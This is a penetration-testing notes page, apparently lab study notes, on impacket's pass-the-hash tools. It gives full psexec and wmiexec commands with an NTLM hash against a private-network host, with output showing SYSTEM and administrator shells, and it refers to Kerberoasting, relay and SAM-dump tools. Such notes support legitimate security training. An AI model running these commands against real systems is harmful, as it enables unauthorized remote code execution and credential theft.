impacket

Pass-the-Hash

NetExec also uses impacket-psexec to perform the PtH attack.

impacket-psexec searches for a writable share and uploads an executable file to it. Then it registers the executable as a Windows service and starts it which results in RCE. It requires two arguments:

1. hashes: allows us to use NTLM hashes to authenticate to the target. The format is LMHash:NTHash, in which we specify the Administrator's NTLM hash after the colon (the LMHash part can be left empty).

2. username@IP: the target definition.

At the end of the command we could specify another argument, which is used to determine which command psexec should execute on the target system. If we leave it empty, cmd.exe will be executed, providing us with an interactive shell as SYSTEM. We can also use one of the other impacket scripts like wmiexec.py to obtain a shell as the user we used for authentication.

SYSTEM Shell

# SYSTEM shell
$ impacket-psexec -hashes :7a38310ea6f0027ee955abed1762964b Administrator@192.168.233.212
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 192.168.233.212.....
[*] Found writable share ADMIN$
[*] Uploading file WIKgrLbX.exe
[*] Opening SVCManager on 192.168.233.212.....
[*] Creating service iVBP on 192.168.233.212.....
[*] Starting service iVBP.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.707]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Administrator Shell

# Administrator shell
$ impacket-wmiexec -hashes :7a38310ea6f0027ee955abed1762964b Administrator@192.168.233.212
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
files02\administrator

AS-REPRoasting

See how to use impacket-GetNPUsers here.

Kerberoasting

See how to use impacket-GetUserSPNs here.

NTMLv2 Relay

See how to use impacket-ntlmrelayx here.

Local SAM Dump

See how to use impacket-secretsdump here.